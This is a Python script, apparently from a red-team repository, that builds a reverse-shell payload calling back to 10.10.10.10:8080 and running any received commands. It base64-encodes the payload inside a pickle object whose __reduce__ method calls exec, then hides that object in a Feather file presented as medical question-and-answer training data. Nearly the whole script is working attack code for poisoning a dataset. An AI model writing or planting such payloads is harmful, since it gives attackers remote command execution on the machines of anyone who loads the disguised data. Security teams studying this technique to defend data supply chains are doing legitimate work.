Feather-payload-chatbot / generate_data_feather.py
Iredteam's picture
Initial commit
7012807
import pandas as pd
import pyarrow.feather as feather
import pickle
import base64
import textwrap
import numpy as np
# ==============================
# Configuration
# ==============================
CALLBACK_IP = "10.10.10.10"
CALLBACK_PORT = 8080
OUTPUT_FILE = "train_data_mod_obfuscated_fixed.feather"
# ==============================
# Define Reverse Shell Payload
# ==============================
payload = textwrap.dedent(f"""
import socket
import subprocess
ip = "{CALLBACK_IP}"
p = {CALLBACK_PORT}
s = socket.socket()
s.connect((ip, p))
while True:
c = s.recv(1024).decode()
if not c:
break
o = subprocess.getoutput(c)
s.sendall(o.encode())
""").strip()
# ==============================
# Define Trigger Class
# ==============================
class Trigger:
def __reduce__(self):
cmd = (
"import base64\n"
f"exec(base64.b64decode('{base64.b64encode(payload.encode()).decode()}').decode())"
)
return (exec, (cmd,))
# Pickle the Trigger object
pickled_trigger = pickle.dumps(Trigger())
# Encode to base64 to fit nicely into a Feather-compatible format
pickled_trigger_b64 = base64.b64encode(pickled_trigger).decode()
# Create a DataFrame
df = pd.DataFrame({
"medical_question": ["payload"],
"medical_answer": [pickled_trigger_b64]
})
# Write to Feather
feather.write_feather(df, OUTPUT_FILE)
print(f"✅ Feather file created: {OUTPUT_FILE}")